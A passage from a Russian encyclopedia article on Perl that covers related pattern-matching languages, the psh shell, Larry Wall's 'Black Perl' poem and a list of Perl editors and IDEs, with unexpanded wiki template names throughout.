Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.

Языки программирования и оболочки со схожими технологиями

Perl — далеко не единственный язык, дающий богатые возможности в обработке текста. Языки программирования РЕФАЛ, Icon и Снобол предоставляют возможность более полно использовать метод программирования «сопоставления с образцом», частным случаем которого и являются регулярные выражения.

Существует также полноценная командная оболочка UNIX, использующая в качестве основы язык Perl. Называется она psh и даёт возможность смешивать команды обычной оболочки и самого Perl’а<ref>Шаблон:Cite web</ref>.

Интересные факты

Шаблон:Нет источников в разделе На Perl можно даже писать стихотворения. Одно из таких стихотворений под названием «Black Perl» («Чёрная жемчужина» или «Чёрный перл») было упомянуто Ларри Уоллом в первоапрельском письме в Usenet. Оно было написано изначально для PerlШаблон:Nbsp3, и по словам самого Ларри, он испытал моральное удовлетворение, когда стихотворение не прошло синтаксический анализатор в PerlШаблон:Nbsp5.

<source lang="perl">

BEFOREHEAD: close door, each window & exit; wait until time.
open spellbook, study, read (scan, select, tell us);
write it, print the hex whole each watches,
reverse its length, write again;
kill spiders, pop them, chop, split, kill them.
unlink arms, shift, wait & listen (listening, wait),
sort the flock (then, warn the "goats" & kill the "sheep");
kill them, dump qualms, shift moralities,
values aside, each one;
die sheep! die to reverse the system
you accept (reject, respect);
next step,
kill next sacrifice, each sacrifice,
wait, redo ritual until "all the spirits are pleased";
do it ("as they say").
do it(*everyone***must***participate***in***forbidden**s*e*x*).
return last victim; package body;
exit crypt (time, times & "half a time") & close it,
select (quickly) & warn your next victim;
AFTERWORDS: tell nobody,
wait, wait until time;
wait until next year, next decade;
sleep, sleep, die yourself,
die at last

</source>

Редакторы

Специально для Perl-разработчиков на языке Perl с использованием интерфейсной библиотеки wxWidgets написан такой открытый продукт как Шаблон:Не переведено (сокращение от «Perl Application Development and Refactoring Environment» — среда разработки и рефакторинга перл-приложений)<ref name="Perl moderne">Шаблон:Книга</ref>.

Поддержка Perl включена в такую универсальную IDE, как ActiveState Komodo и её открытую версию Komodo Edit<ref>Шаблон:Книга</ref>. Для Eclipse поддержка Perl реализована в виде пакета расширений EPIC<ref name="Perl moderne" /><ref>Шаблон:Cite web</ref>. Обе этих среды в числе прочего включают визуальный отладчик<ref>Шаблон:Книга</ref>. IntelliJ IDEA и прочие продукты JetBrains поддерживают Perl5 с помощью плагина с открытым исходным кодом — Camelcade.

Поддержка перла в том или ином виде имеется в большинстве текстовых редакторов для программистов, таких как кроссплатформенные Vim<ref name="Perl moderne" />, Emacs<ref name="Perl moderne" />, SciTE<ref name="Perl moderne" />, Gedit<ref name="Perl to the Rescue">Шаблон:Книга</ref>, Geany, jEdit<ref name="Perl to the Rescue" />, Sublime Text, или предназначенные для Windows Notepad++<ref name="Perl moderne" /><ref name="Perl to the Rescue" /> и PSPad а также такие shareware продукты как UltraEdit & UEStudio от IDM Computer Solutions, Inc. Для Mac OS таким редактором может служить TextMate<ref name="Perl moderne" />.

Определённой популярностью среди пользователей Windows пользуется также Perl Editor, входящий в линейку специализированных shareware редакторов для программистов от DzSoft<ref>Шаблон:Книга</ref><ref>Шаблон:Книга</ref><ref>Шаблон:Cite web</ref>. Был достаточно известен бесплатный редактор Mastak Absolute Perl<ref>Шаблон:Cite news</ref>, но его разработка и поддержка прекращены, последняя версия датируется 29 сентября 2003 года<ref>Mastak Absolute Perl Шаблон:Wayback на SoftPortal</ref>. Ещё один отечественный бесплатный perl-редактор для Windows — это Perl Express (последняя версия с русским интерфейсом — 2.4.5 от 2 декабря 2005, с английским — 2.5 от 23 декабря 2005)<ref>Perl Express Шаблон:Wayback — бесплатный Perl-редактор для Windows</ref>. Среди других сред разработки, специализированных для Perl следует отметить shareware IDE PerlBuilder<ref>Шаблон:Книга</ref><ref name="xaker">Шаблон:Статья</ref><ref>Perl Builder 2.0 Шаблон:Webarchive</ref> и отечественный редактор Collie Perl Shell 2.0<ref name="xaker" /><ref>Collie Perl Shell 2.0 Шаблон:Webarchive</ref>.

См. также

Примечания

Шаблон:Примечания

Литература

Шаблон:Refbegin

Шаблон:Refend

Ссылки

Шаблон:Навигация

Шаблон:Внешние ссылки Шаблон:Perl Шаблон:FOSS